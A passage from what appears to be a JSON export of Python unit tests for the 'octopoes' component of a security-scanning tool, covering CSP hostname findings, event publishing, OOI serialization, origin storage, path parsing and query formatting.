HTTPHeaderHostname(\n        hostname=Reference.from_str(\"Hostname|internet|example.com\"),\n        header=Reference.from_str(\n            \"HTTPHeader|internet|1.1.1.1|tcp|443|https|internet|example.com|https|internet|example.com|443||Content-Security-Policy\"\n        ),\n    )\n\n    results = list(run(http_header_hostname, [], {\"disallowed_hostnames\": \"example.com\"}))\n\n    assert results == [\n        KATFindingType(id=\"KAT-DISALLOWED-DOMAIN-IN-CSP\"),\n        Finding(\n            ooi=http_header_hostname.reference, finding_type=KATFindingType(id=\"KAT-DISALLOWED-DOMAIN-IN-CSP\").reference\n        ),\n    ]\n\n\ndef test_disallowed_csp_headers_disallow_subdomains():\n    http_header_hostname = HTTPHeaderHostname(\n        hostname=Reference.from_str(\"Hostname|internet|subdomain.example.com\"),\n        header=Reference.from_str(\n            \"HTTPHeader|internet|1.1.1.1|tcp|443|https|internet|subdomain.example.com|https|internet|subdomain.example.com|443||Content-Security-Policy\"\n        ),\n    )\n\n    results = list(run(http_header_hostname, [], {\"disallowed_hostnames\": \"example.com\"}))\n\n    assert \"subdomain\" in http_header_hostname.reference\n\n    assert results == [\n        KATFindingType(id=\"KAT-DISALLOWED-DOMAIN-IN-CSP\"),\n        Finding(\n            ooi=http_header_hostname.reference, finding_type=KATFindingType(id=\"KAT-DISALLOWED-DOMAIN-IN-CSP\").reference\n        ),\n    ]\n"
  },
  {
    "path": "octopoes/tests/test_event_manager.py",
    "content": "import json\nimport uuid\nfrom datetime import datetime\nfrom unittest import mock\n\nimport pika\n\nfrom octopoes.events.events import OOIDBEvent, OperationType, ScanProfileDBEvent\nfrom octopoes.events.manager import EventManager\n\n\ndef test_event_manager_create_ooi(mocker, network):\n    celery_mock = mocker.Mock()\n    channel_mock = mocker.Mock()\n\n    mocker.patch.object(uuid, \"uuid4\", return_value=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\")\n    manager = EventManager(\"test\", \"amqp://test-queue-uri\", celery_mock, \"queue\", lambda x: channel_mock)\n    event = OOIDBEvent(\n        operation_type=OperationType.CREATE, valid_time=datetime(2023, 1, 1), new_data=network, client=\"test\"\n    )\n    manager.publish(event)\n\n    celery_mock.send_task.assert_called_once_with(\n        \"octopoes.tasks.tasks.handle_event\",\n        (\n            {\n                \"entity_type\": \"ooi\",\n                \"operation_type\": \"create\",\n                \"valid_time\": \"2023-01-01T00:00:00\",\n                \"client\": \"test\",\n                \"old_data\": None,\n                \"new_data\": {\n                    \"object_type\": \"Network\",\n                    \"scan_profile\": None,\n                    \"primary_key\": \"Network|internet\",\n                    \"name\": \"internet\",\n                    \"user_id\": None,\n                },\n            },\n        ),\n        queue=\"queue\",\n        task_id=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\",\n    )\n\n    channel_mock.basic_publish.assert_not_called()\n\n\ndef test_event_manager_create_empty_scan_profile(mocker, empty_scan_profile):\n    celery_mock = mocker.Mock()\n    channel_mock = mocker.Mock()\n\n    mocker.patch.object(uuid, \"uuid4\", return_value=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\")\n    manager = EventManager(\"test\", \"amqp://test-queue-uri\", celery_mock, \"queue\", lambda x: channel_mock)\n    event = ScanProfileDBEvent(\n        operation_type=OperationType.CREATE,\n        valid_time=datetime(2023, 1, 1),\n        new_data=empty_scan_profile,\n        reference=\"test|reference\",\n        client=\"test\",\n    )\n    manager.publish(event)\n\n    celery_mock.send_task.assert_called_once_with(\n        \"octopoes.tasks.tasks.handle_event\",\n        (\n            {\n                \"entity_type\": \"scan_profile\",\n                \"operation_type\": \"create\",\n                \"valid_time\": \"2023-01-01T00:00:00\",\n                \"client\": \"test\",\n                \"old_data\": None,\n                \"new_data\": {\"scan_profile_type\": \"empty\", \"reference\": \"test|reference\", \"level\": 0, \"user_id\": None},\n                \"reference\": \"test|reference\",\n            },\n        ),\n        queue=\"queue\",\n        task_id=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\",\n    )\n\n    call_args = channel_mock.basic_publish.call_args\n\n    actual_body = json.loads(call_args.kwargs[\"body\"])\n\n    expected_body = {\n        \"operation\": \"create\",\n        \"primary_key\": \"test|reference\",\n        \"value\": {\n            \"primary_key\": \"test|reference\",\n            \"object_type\": \"test\",\n            \"scan_profile\": {\"scan_profile_type\": \"empty\", \"reference\": \"test|reference\", \"level\": 0, \"user_id\": None},\n        },\n        \"client_id\": \"test\",\n    }\n\n    assert actual_body == expected_body\n\n\ndef test_event_manager_create_declared_scan_profile(mocker, declared_scan_profile):\n    celery_mock = mocker.Mock()\n    channel_mock = mocker.Mock()\n\n    mocker.patch.object(uuid, \"uuid4\", return_value=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\")\n    manager = EventManager(\"test\", \"amqp://test-queue-uri\", celery_mock, \"queue\", lambda x: channel_mock)\n    event = ScanProfileDBEvent(\n        operation_type=OperationType.CREATE,\n        valid_time=datetime(2023, 1, 1),\n        new_data=declared_scan_profile,\n        reference=\"test|reference\",\n        client=\"test\",\n    )\n    manager.publish(event)\n\n    celery_mock.send_task.assert_called_once_with(\n        \"octopoes.tasks.tasks.handle_event\",\n        (\n            {\n                \"entity_type\": \"scan_profile\",\n                \"operation_type\": \"create\",\n                \"valid_time\": \"2023-01-01T00:00:00\",\n                \"client\": \"test\",\n                \"old_data\": None,\n                \"new_data\": {\n                    \"scan_profile_type\": \"declared\",\n                    \"reference\": \"test|reference\",\n                    \"level\": 2,\n                    \"user_id\": None,\n                },\n                \"reference\": \"test|reference\",\n            },\n        ),\n        queue=\"queue\",\n        task_id=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\",\n    )\n\n    assert channel_mock.basic_publish.call_count == 1\n    channel_mock.basic_publish.assert_has_calls(\n        [\n            mock.call(\n                exchange=\"\",\n                routing_key=\"scan_profile_mutations\",\n                body=mock.ANY,\n                properties=pika.BasicProperties(delivery_mode=pika.DeliveryMode.Persistent),\n            )\n        ]\n    )\n\n    actual_body = json.loads(channel_mock.basic_publish.call_args[1][\"body\"])\n\n    expected_body = {\n        \"operation\": \"create\",\n        \"primary_key\": \"test|reference\",\n        \"value\": {\n            \"primary_key\": \"test|reference\",\n            \"object_type\": \"test\",\n            \"scan_profile\": {\n                \"scan_profile_type\": \"declared\",\n                \"reference\": \"test|reference\",\n                \"level\": 2,\n                \"user_id\": None,\n            },\n        },\n        \"client_id\": \"test\",\n    }\n\n    assert actual_body == expected_body\n\n\ndef test_event_manager_delete_empty_scan_profile(mocker, empty_scan_profile):\n    celery_mock = mocker.Mock()\n    channel_mock = mocker.Mock()\n\n    mocker.patch.object(uuid, \"uuid4\", return_value=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\")\n    manager = EventManager(\"test\", \"amqp://test-queue-uri\", celery_mock, \"queue\", lambda x: channel_mock)\n    event = ScanProfileDBEvent(\n        operation_type=OperationType.DELETE,\n        valid_time=datetime(2023, 1, 1),\n        old_data=empty_scan_profile,\n        reference=\"test|reference\",\n        client=\"test\",\n    )\n    manager.publish(event)\n\n    celery_mock.send_task.assert_called_once_with(\n        \"octopoes.tasks.tasks.handle_event\",\n        (\n            {\n                \"entity_type\": \"scan_profile\",\n                \"operation_type\": \"delete\",\n                \"valid_time\": \"2023-01-01T00:00:00\",\n                \"client\": \"test\",\n                \"old_data\": {\"scan_profile_type\": \"empty\", \"reference\": \"test|reference\", \"level\": 0, \"user_id\": None},\n                \"new_data\": None,\n                \"reference\": \"test|reference\",\n            },\n        ),\n        queue=\"queue\",\n        task_id=\"1754a4c8-f0b8-42c8-b294-5706ce23a47d\",\n    )\n\n    channel_mock.basic_publish.assert_called_once()\n\n    args, kwargs = channel_mock.basic_publish.call_args\n\n    assert kwargs[\"exchange\"] == \"\"\n    assert kwargs[\"routing_key\"] == \"scan_profile_mutations\"\n\n    actual_body = json.loads(kwargs[\"body\"])\n\n    assert actual_body == {\"operation\": \"delete\", \"primary_key\": \"test|reference\", \"value\": None, \"client_id\": \"test\"}\n\n    assert kwargs[\"properties\"] == pika.BasicProperties(delivery_mode=pika.DeliveryMode.Persistent)\n"
  },
  {
    "path": "octopoes/tests/test_octopoes_service.py",
    "content": "from datetime import datetime\nfrom ipaddress import ip_address\nfrom unittest.mock import MagicMock, Mock, patch\n\nimport pytest\nfrom bits.definitions import BitDefinition\n\nfrom octopoes.events.events import OOIDBEvent, OperationType, OriginDBEvent, ScanProfileDBEvent\nfrom octopoes.models import EmptyScanProfile, Reference, ScanLevel\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddress, IPAddressV4, Network\nfrom octopoes.models.origin import Origin, OriginType\n\n\ndef mocked_bit_definitions():\n    return {\n        \"fake-hostname-bit\": BitDefinition(\n            id=\"fake-hostname-bit\", consumes=Hostname, module=\"fake_module\", parameters=[]\n        ),\n        \"fake-ipaddress-bit\": BitDefinition(id=\"fake-bit\", consumes=IPAddress, module=\"fake_module\", parameters=[]),\n    }\n\n\n@patch(\"octopoes.core.service.get_bit_definitions\", mocked_bit_definitions)\ndef test_process_ooi_create_event(octopoes_service, valid_time):\n    # upon creation of a new ooi\n    octopoes_service.origin_repository.save = MagicMock(return_value=True)\n    octopoes_service.scan_profile_repository.get = MagicMock(return_value=True)\n    ooi = Hostname(network=Network(name=\"internet\").reference, name=\"example.com\")\n    octopoes_service.process_event(\n        OOIDBEvent(\n            operation_type=OperationType.CREATE, valid_time=valid_time, client=\"_dev\", old_data=None, new_data=ooi\n        )\n    )\n    # octopoes should create a new origin, because there is a matching bit definition\n    octopoes_service.origin_repository.save.assert_called_once_with(\n        Origin(origin_type=OriginType.INFERENCE, method=\"fake-hostname-bit\", source=ooi.reference), valid_time\n    )\n\n\n@patch(\"octopoes.core.service.get_bit_definitions\", mocked_bit_definitions)\ndef test_process_event_abstract_bit_consumes(octopoes_service, valid_time):\n    # upon creation of a new ooi\n    octopoes_service.origin_repository.save = MagicMock(return_value=True)\n    octopoes_service.scan_profile_repository.get = MagicMock(return_value=True)\n    ooi = IPAddressV4(network=Network(name=\"internet\").reference, address=ip_address(\"1.1.1.1\"))\n    octopoes_service.process_event(\n        OOIDBEvent(\n            operation_type=OperationType.CREATE, valid_time=valid_time, client=\"_dev\", old_data=None, new_data=ooi\n        )\n    )\n\n    # octopoes should create a new origin, because there is a matching bit definition (w/ abstract class)\n    octopoes_service.origin_repository.save.assert_called_once_with(\n        Origin(origin_type=OriginType.INFERENCE, method=\"fake-ipaddress-bit\", source=ooi.reference), valid_time\n    )\n\n\ndef test_on_update_origin(octopoes_service, valid_time):\n    # when the result of an origin changes\n    old_data = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"test-boefje\",\n        source=Reference.from_str(\"Hostname|internet|example.com\"),\n        result=[Reference.from_str(\"IPAddress|internet|1.1.1.1\")],\n    )\n    new_data = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"test-boefje\",\n        source=Reference.from_str(\"Hostname|internet|example.com\"),\n    )\n    event = OriginDBEvent(\n        operation_type=OperationType.UPDATE, valid_time=valid_time, client=\"_dev\", old_data=old_data, new_data=new_data\n    )\n\n    # and the deferenced ooi is no longer referred to by any origins\n    octopoes_service.origin_repository.list_origins = MagicMock(return_value=[])\n    octopoes_service.ooi_repository.delete_if_exists = MagicMock(return_value=[])\n    octopoes_service.process_event(event)\n\n    # the ooi should be deleted\n    octopoes_service.ooi_repository.delete_if_exists.assert_called_once_with(\n        Reference.from_str(\"IPAddress|internet|1.1.1.1\"), valid_time\n    )\n\n\n@pytest.mark.parametrize(\"new_data\", [EmptyScanProfile(reference=\"test|reference\"), None])\n@pytest.mark.parametrize(\"old_data\", [EmptyScanProfile(reference=\"test|reference\"), None])\ndef test_on_create_scan_profile(octopoes_service, new_data, old_data, bit_runner: MagicMock):\n    octopoes_service.origin_repository.list_origins = MagicMock(\n        return_value=[\n            Origin(\n                origin_type=OriginType.INFERENCE,\n                method=\"check-csp-header\",\n                source=Reference.from_str(\"Hostname|internet|example.com\"),\n            )\n        ]\n    )\n    octopoes_service.origin_repository.get = MagicMock(\n        return_value=Origin(\n            origin_type=OriginType.INFERENCE,\n            method=\"check-csp-header\",\n            source=Reference.from_str(\"Hostname|internet|example.com\"),\n        )\n    )\n    octopoes_service.event_manager.client = \"_dev\"\n    octopoes_service.scan_profile_repository.get = MagicMock(return_value=Mock(level=ScanLevel.L2))\n    octopoes_service.ooi_repository.get = MagicMock(return_value=Network(name=\"internet\"))\n    octopoes_service.origin_parameter_repository.list_by_origin = MagicMock(return_value={})\n    octopoes_service.ooi_repository.load_bulk = MagicMock(return_value={})\n    octopoes_service.ooi_repository.save = MagicMock(return_value=True)\n\n    mock_oois = [Mock(reference=\"test1\"), Mock(reference=\"test2\")]\n    bit_runner().run = MagicMock(return_value=mock_oois)\n\n    valid_time = datetime(2023, 1, 1)\n    event = ScanProfileDBEvent(\n        operation_type=OperationType.CREATE,\n        valid_time=valid_time,\n        old_data=old_data,\n        new_data=new_data,\n        reference=\"test|reference\",\n        client=\"_dev\",\n    )\n\n    octopoes_service.process_event(event)\n\n    assert octopoes_service.ooi_repository.save.call_count == 2\n    octopoes_service.ooi_repository.save.assert_any_call(mock_oois[0], valid_time=valid_time, end_valid_time=None)\n    octopoes_service.ooi_repository.save.assert_any_call(mock_oois[1], valid_time=valid_time, end_valid_time=None)\n"
  },
  {
    "path": "octopoes/tests/test_ooi.py",
    "content": "import ipaddress\nfrom unittest import TestCase\n\nfrom octopoes.models import Reference\nfrom tests.mocks.mock_ooi_types import MockIPAddressV4, MockLabel, MockNetwork\n\n\nclass OOITest(TestCase):\n    def test_reference_custom_natural_key(self):\n        internet = MockNetwork(name=\"internet\")\n        ip = MockIPAddressV4(network=internet.reference, address=ipaddress.IPv4Address(\"1.1.1.1\"))\n        label = MockLabel(ooi=ip.reference, label_id=\"LABEL-1000\")\n        self.assertEqual(\"MockLabel|MockIPAddressV4|internet|1.1.1.1|LABEL-1000\", str(label.reference))\n\n    def test_reference_equality(self):\n        internet = MockNetwork(name=\"internet\")\n        self.assertEqual(Reference.from_str(\"MockNetwork|internet\"), internet.reference)\n"
  },
  {
    "path": "octopoes/tests/test_ooi_repository.py",
    "content": "import re\nfrom datetime import datetime, timezone\nfrom ipaddress import IPv4Address\nfrom typing import Literal, cast\nfrom unittest import TestCase\nfrom unittest.mock import Mock, patch\n\nimport octopoes.models.path as path_module\nfrom octopoes.events.manager import EventManager\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.zone import DNSZone\nfrom octopoes.models.ooi.network import IPAddressV4, Network\nfrom octopoes.models.path import _cached_paths_to_neighbours\nfrom octopoes.models.persistence import ReferenceField\nfrom octopoes.repositories.ooi_repository import XTDBOOIRepository\nfrom octopoes.xtdb.client import XTDBHTTPClient, XTDBSession\nfrom tests.mocks.mock_ooi_types import (\n    ALL_OOI_TYPES,\n    OOITYPE_BY_NAME,\n    MockIPAddress,\n    MockIPAddressV4,\n    MockIPPort,\n    MockNetwork,\n)\n\n\n@patch(\"octopoes.models.types.ALL_TYPES\", ALL_OOI_TYPES)\n@patch(\"octopoes.models.types.OOITYPE_BY_NAME\", OOITYPE_BY_NAME)\nclass OOIRepositoryTest(TestCase):\n    def setUp(self) -> None:\n        self.event_manager = Mock(spec=EventManager)\n        self.session = XTDBSession(Mock(spec=XTDBHTTPClient))\n        self.repository = XTDBOOIRepository(self.event_manager, self.session)\n\n        # patch the dictionary in the path module\n        path_module.OOITYPE_BY_NAME = OOITYPE_BY_NAME\n        # replace cached function with uncached version\n        path_module._cached_paths_to_neighbours = _cached_paths_to_neighbours.__wrapped__\n\n    def test_node_from_ooi(self):\n        internet = Network(name=\"internet\")\n        ip = IPAddressV4(network=internet.reference, address=IPv4Address(\"1.1.1.1\"))\n        serial = self.repository.serialize(ip)\n        self.assertEqual(\"Network|internet\", serial[\"IPAddressV4/network\"])\n        self.assertEqual(\"1.1.1.1\", serial[\"IPAddressV4/address\"])\n        self.assertEqual(\"IPAddressV4|internet|1.1.1.1\", serial[\"xt/id\"])\n        self.assertNotIn(\"IPAddressV4/object_type\", serial)\n\n    def test_node_from_ooi_with_list(self):\n        class TestOOIClass(OOI):\n            object_type: Literal[\"TestOOIClass\"] = \"TestOOIClass\"\n            id: str = \"test_id\"\n            multiple_refs: list[Reference] = ReferenceField(Network)\n            _natural_key_attrs = [\"id\"]\n\n        internet = Network(name=\"internet\")\n        internet2 = Network(name=\"internet2\")\n        test = TestOOIClass(multiple_refs=[internet.reference, internet2.reference])\n        serial = self.repository.serialize(test)\n        self.assertEqual([\"Network|internet\", \"Network|internet2\"], serial[\"TestOOIClass/multiple_refs\"])\n        self.assertEqual(\"TestOOIClass|test_id\", serial[\"xt/id\"])\n\n    def test_extract_node(self):\n        internet = Network(name=\"internet\")\n        raw_node = {\n            \"xt/id\": \"DNSZone|internet|test.nl\",\n            \"object_type\": \"DNSZone\",\n            \"DNSZone/object_type\": \"DNSZone\",\n            \"DNSZone/hostname\": \"Hostname|internet|test.nl\",\n            \"DNSZone/name_servers\": [],\n        }\n\n        serial = cast(DNSZone, self.repository.deserialize(raw_node))\n        self.assertEqual(\"DNSZone\", serial.object_type)\n        self.assertEqual(internet.name, serial.hostname.tokenized.network.name)\n        self.assertEqual(\"test.nl\", serial.hostname.tokenized.name)\n\n    def test_construct_neighbour_query(self):\n        reference = Reference.from_str(\"IPPort|80\")\n\n        query = self.repository.construct_neighbour_query(reference)\n\n        expected_query = \"\"\"{\n                    :query {\n                        :find [\n                            (pull ?e [\n                                :xt/id\n                                {:IPService/_ip_port [*]}\n                                {:Config/_ooi [*]}\n                                {:Finding/_ooi [*]}\n                                {:GeographicPoint/_ooi [*]}\n                                {:Question/_ooi [*]}\n                                {:SoftwareInstance/_ooi [*]}\n                                {:IPPort/address [*]}\n                            ])\n                        ]\n                        :in [[ _xt_id ... ]]\n                        :where [[?e :xt/id _xt_id]]\n                    }\n                    :in-args [[\"IPPort|80\"]]\n                }\"\"\"\n\n        self.assertEqual(re.sub(r\"\\s+\", \" \", expected_query), re.sub(r\"\\s+\", \" \", query))\n\n    def test_encode_outgoing_segment(self):\n        path = path_module.Path.parse(\"MockIPAddressV4.network\")\n        self.assertEqual(\"MockIPAddressV4/network\", path.segments[0].encode())\n\n    def test_encode_incoming_segment(self):\n        path = path_module.Path.parse(\"MockIPAddressV4.<address [is MockIPPort]\")\n        self.assertEqual(\"MockIPPort/_address\", path.segments[0].encode())\n\n    def test_decode_outgoing_segment(self):\n        self.assertEqual(\n            path_module.Segment(MockIPAddressV4, path_module.Direction.OUTGOING, \"network\", MockNetwork),\n            self.repository.decode_segment(\"MockIPAddressV4/network\"),\n        )\n\n    def test_decode_incoming_segment(self):\n        self.assertEqual(\n            path_module.Segment(MockIPAddress, path_module.Direction.INCOMING, \"address\", MockIPPort),\n            self.repository.decode_segment(\"MockIPPort/_address\"),\n        )\n\n    def test_get_neighbours(self):\n        self.session.client.query.return_value = [\n            [\n                {\n                    \"MockHostname/fqdn\": {},\n                    \"MockResolvedHostname/_hostname\": {\n                        \"MockResolvedHostname/address\": \"MockIPAddressV4|internet|1.1.1.1\",\n                        \"MockResolvedHostname/hostname\": \"MockHostname|internet|example.com\",\n                        \"xt/id\": \"MockResolvedHostname|internet|example.com|internet|1.1.1.1\",\n                        \"object_type\": \"MockResolvedHostname\",\n                    },\n                    \"xt/id\": \"MockHostname|internet|example.com\",\n                }\n            ]\n        ]\n\n        neighbours = self.repository.get_neighbours(\n            Reference.from_str(\"MockHostname|internet|example.com\"), datetime.now(timezone.utc)\n        )\n\n        resolved_hostname = neighbours[path_module.Path.parse(\"MockHostname.<hostname[is MockResolvedHostname]\")][0]\n        self.assertEqual(Reference.from_str(\"MockIPAddressV4|internet|1.1.1.1\"), resolved_hostname.address)\n"
  },
  {
    "path": "octopoes/tests/test_origin_repository.py",
    "content": "from octopoes.models.exception import ObjectNotFoundException\nfrom octopoes.models.origin import Origin, OriginType\nfrom octopoes.xtdb.client import OperationType\n\n\ndef raise_(exception):\n    raise exception\n\n\ndef test_save_new_origin(origin_repository, valid_time, mocker):\n    origin = Origin(origin_type=OriginType.INFERENCE, method=\"method\", source=\"source\")\n    mocker.patch.object(origin_repository, \"get\", lambda origin_id, valid_time: raise_(ObjectNotFoundException(\"test\")))\n    origin_repository.save(origin, valid_time)\n\n    assert len(origin_repository.session._operations) == 1\n    assert origin_repository.session._operations[0][0] == OperationType.PUT\n    assert len(origin_repository.session.post_commit_callbacks) == 1\n\n\ndef test_save_existing_origin(origin_repository, valid_time, mocker):\n    origin = Origin(origin_type=OriginType.INFERENCE, method=\"method\", source=\"source\")\n    mocker.patch.object(origin_repository, \"get\", lambda origin_id, valid_time: origin)\n    origin_repository.save(origin, valid_time)\n\n    assert origin_repository.session._operations == []\n    assert len(origin_repository.session.post_commit_callbacks) == 0\n\n\ndef test_save_new_task_id_origin(origin_repository, valid_time, mocker):\n    old_origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"method\",\n        source=\"source\",\n        task_id=\"52f4cf94-fd28-4650-a65a-9bf7c2b50c41\",\n    )\n    new_origin = Origin(\n        origin_type=OriginType.OBSERVATION,\n        method=\"method\",\n        source=\"source\",\n        task_id=\"08dd2ef8-353a-42b0-8d54-07ef1362b843\",\n    )\n    mocker.patch.object(origin_repository, \"get\", lambda origin_id, valid_time: old_origin)\n    origin_repository.save(new_origin, valid_time)\n\n    operations = origin_repository.session._operations\n    assert len(operations) == 2\n    assert operations[0][0] == OperationType.DELETE\n    assert operations[0][1] == old_origin.id\n    assert operations[1][0] == OperationType.PUT\n    assert len(origin_repository.session.post_commit_callbacks) == 0\n"
  },
  {
    "path": "octopoes/tests/test_path.py",
    "content": "from unittest import TestCase\nfrom unittest.mock import patch\n\nfrom octopoes.models.path import (\n    Direction,\n    Path,\n    Segment,\n    get_max_scan_level_inheritance,\n    get_paths_to_neighbours,\n    incoming_step_grammar,\n)\nfrom octopoes.models.types import IPAddressV4\nfrom tests.mocks.mock_ooi_types import (\n    ALL_OOI_TYPES,\n    OOITYPE_BY_NAME,\n    MockDNSCNAMERecord,\n    MockDNSZone,\n    MockHostname,\n    MockIPAddress,\n    MockIPPort,\n    MockLabel,\n    MockNetwork,\n    MockResolvedHostname,\n)\n\n\n@patch(\"octopoes.models.types.ALL_TYPES\", ALL_OOI_TYPES)\n@patch(\"octopoes.models.types.OOITYPE_BY_NAME\", OOITYPE_BY_NAME)\nclass PathTest(TestCase):\n    def test_path_outoing_relation(self):\n        path = Path.parse(\"MockResolvedHostname.hostname\")\n        self.assertCountEqual(\n            [Segment(MockResolvedHostname, Direction.OUTGOING, \"hostname\", MockHostname)], path.segments\n        )\n\n    def test_path_incoming_relation(self):\n        path = Path.parse(\"MockHostname.<hostname [is MockResolvedHostname]\")\n        self.assertCountEqual(\n            [Segment(MockHostname, Direction.INCOMING, \"hostname\", MockResolvedHostname)], path.segments\n        )\n\n    def test_path_deeper(self):\n        path = Path.parse(\"MockDNSCNAMERecord.target_hostname.<hostname[is MockResolvedHostname].address\")\n        self.assertEqual(MockHostname, path.segments[0].target_type)\n        self.assertEqual(MockResolvedHostname, path.segments[1].target_type)\n        self.assertEqual(MockIPAddress, path.segments[2].target_type)\n\n    def test_step_grammar_incoming(self):\n        parsed = incoming_step_grammar.parse_string(\"<hostname [is MockResolvedHostname]\")\n\n        incoming, property_name, _, _, ooi_type, _ = parsed\n\n        self.assertEqual(incoming, \"<\")\n        self.assertEqual(\"hostname\", property_name)\n        self.assertEqual(\"MockResolvedHostname\", ooi_type)\n\n    def test_path_abstract(self):\n        path = Path.parse(\"MockIPAddress.<address [is MockIPPort]\")\n        self.assertEqual(MockIPAddress, path.segments[0].source_type)\n        self.assertEqual(MockIPPort, path.segments[0].target_type)\n\n    def test_path_reverse(self):\n        path = Path.parse(\"MockIPAddress.<address [is MockIPPort]\")\n        reversed_path = path.reverse()\n        self.assertEqual(Segment(MockIPPort, Direction.OUTGOING, \"address\", MockIPAddress), reversed_path.segments[0])\n\n    def test_path_reverse_deep(self):\n        path = Path.parse(\"MockDNSCNAMERecord.target_hostname.<hostname[is MockResolvedHostname].address\")\n        reversed_path = path.reverse()\n\n        self.assertEqual(\n            Segment(MockIPAddress, Direction.INCOMING, \"address\", MockResolvedHostname), reversed_path.segments[0]\n        )\n\n        self.assertEqual(\n            Segment(MockResolvedHostname, Direction.OUTGOING, \"hostname\", MockHostname), reversed_path.segments[1]\n        )\n\n        self.assertEqual(\n            Segment(MockHostname, Direction.INCOMING, \"target_hostname\", MockDNSCNAMERecord), reversed_path.segments[2]\n        )\n\n        self.assertEqual(\n            \"MockIPAddress.<address[is MockResolvedHostname].hostname.<target_hostname[is MockDNSCNAMERecord]\",\n            str(reversed_path),\n        )\n\n    def test_path_double_reverse(self):\n        path = Path.parse(\"MockDNSCNAMERecord.target_hostname.<hostname[is MockResolvedHostname].address\")\n        self.assertEqual(path, path.reverse().reverse())\n\n    def test_get_paths_to_neighbours(self):\n        neighbouring_paths = get_paths_to_neighbours(IPAddressV4)\n\n        expected_paths = {\n            Path.parse(\"IPAddressV4.<address [is IPPort]\"),\n            Path.parse(\"IPAddressV4.<address [is ResolvedHostname]\"),\n            Path.parse(\"IPAddressV4.network\"),\n        }\n\n        self.assertTrue(expected_paths.issubset(neighbouring_paths))\n\n    def test_get_max_inherit_scan_level_incoming(self):\n        path = Path.parse(\"MockIPAddressV4.<address [is MockResolvedHostname]\")\n        self.assertEqual(4, get_max_scan_level_inheritance(path.segments[0]))\n\n    def test_get_max_inherit_scan_level_outgoing(self):\n        path = Path.parse(\"MockResolvedHostname.address\")\n        self.assertEqual(0, get_max_scan_level_inheritance(path.segments[0]))\n\n    def test_parse_path_with_underscore_property_name(self):\n        path = Path.parse(\"MockDNSZone.<dns_zone [is MockHostname]\")\n        self.assertEqual(MockDNSZone, path.segments[0].source_type)\n        self.assertEqual(Direction.INCOMING, path.segments[0].direction)\n        self.assertEqual(\"dns_zone\", path.segments[0].property_name)\n        self.assertEqual(MockHostname, path.segments[0].target_type)\n\n    def test_parse_path_outgoing_abstract(self):\n        path = Path.parse(\"MockLabel.ooi [is MockHostname].network\")\n        segment_0 = path.segments[0]\n        segment_1 = path.segments[1]\n\n        self.assertEqual(MockLabel, segment_0.source_type)\n        self.assertEqual(\"ooi\", segment_0.property_name)\n        self.assertEqual(MockHostname, segment_0.target_type)\n        self.assertEqual(Direction.OUTGOING, segment_0.direction)\n\n        self.assertEqual(MockHostname, segment_1.source_type)\n        self.assertEqual(\"network\", segment_1.property_name)\n        self.assertEqual(MockNetwork, segment_1.target_type)\n        self.assertEqual(Direction.OUTGOING, segment_1.direction)\n"
  },
  {
    "path": "octopoes/tests/test_query.py",
    "content": "import uuid\nfrom uuid import UUID\n\nimport pytest\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname, ResolvedHostname\nfrom octopoes.models.ooi.findings import Finding, FindingType\nfrom octopoes.models.ooi.network import IPAddress, IPPort, Network\nfrom octopoes.models.ooi.service import IPService, Service\nfrom octopoes.models.ooi.web import URL, Website, WebURL\nfrom octopoes.models.path import Path\nfrom octopoes.xtdb.query import Aliased, InvalidField, Query\n\n\ndef test_basic_field_where_clause():\n    query = Query(Network).where(Network, name=\"test\")\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Network [*])] :where [\n    [ Network :Network/name \"test\" ]\n    [ Network :object_type \"Network\" ]]}}\"\"\"\n    )\n\n    query = query.limit(4)\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Network [*])] :where [\n    [ Network :Network/name \"test\" ]\n    [ Network :object_type \"Network\" ]] :limit 4}}\"\"\"\n    )\n    query = query.offset(0)\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Network [*])] :where [\n    [ Network :Network/name \"test\" ]\n    [ Network :object_type \"Network\" ]] :limit 4 :offset 0}}\"\"\"\n    )\n\n\ndef test_reference_field_where_clause():\n    query = Query(Network).where(Finding, ooi=Network)\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Network [*])] :where [\n    [ Finding :Finding/ooi Network ]\n    [ Finding :object_type \"Finding\" ]\n    [ Network :object_type \"Network\" ]]}}\"\"\"\n    )\n\n\ndef test_remove_duplicates():\n    query = Query(Network).where(Finding, ooi=Network)\n    assert query == query.where(Finding, ooi=Network)\n\n\ndef test_invalid_fields_name():\n    with pytest.raises(InvalidField) as ctx:\n        Query(Network).where(Network, ooi=Finding)\n\n    assert ctx.exconly() == 'octopoes.xtdb.query.InvalidField: \"ooi\" is not a field of Network'\n\n    with pytest.raises(InvalidField) as ctx:\n        Query(Network).where(Network, abc=\"def\")\n\n    assert ctx.exconly() == 'octopoes.xtdb.query.InvalidField: \"abc\" is not a field of Network'\n\n\ndef test_escaping_quotes():\n    query = Query(Network).where(Finding, ooi=Network).where(Network, name='test \" name')\n    assert (\n        query.format()\n        == \"\"\"{:query {:find [(pull Network [*])] :where [\n    [ Finding :Finding/ooi Network ]\n    [ Finding :object_type \"Finding\" ]\n    [ Network :Network/name \"test \\\\\" name\" ]\n    [ Network :object_type \"Network\" ]]}}\"\"\"\n    )\n\n\ndef test_invalid_field_types():\n    with pytest.raises(InvalidField) as ctx:\n        Query(Network).where(Finding, ooi=3)\n\n    assert ctx.exconly() == \"octopoes.xtdb.query.InvalidField: value '3' should be a string or an OOI Type\"\n\n    with pytest.raises(InvalidField) as ctx:\n        Query(Network).where(Finding, ooi=InvalidField)\n\n    assert ctx.exconly() == \"octopoes.xtdb.query.InvalidField: <class 'octopoes.xtdb.query.InvalidField'> is not an OOI\"\n\n\ndef 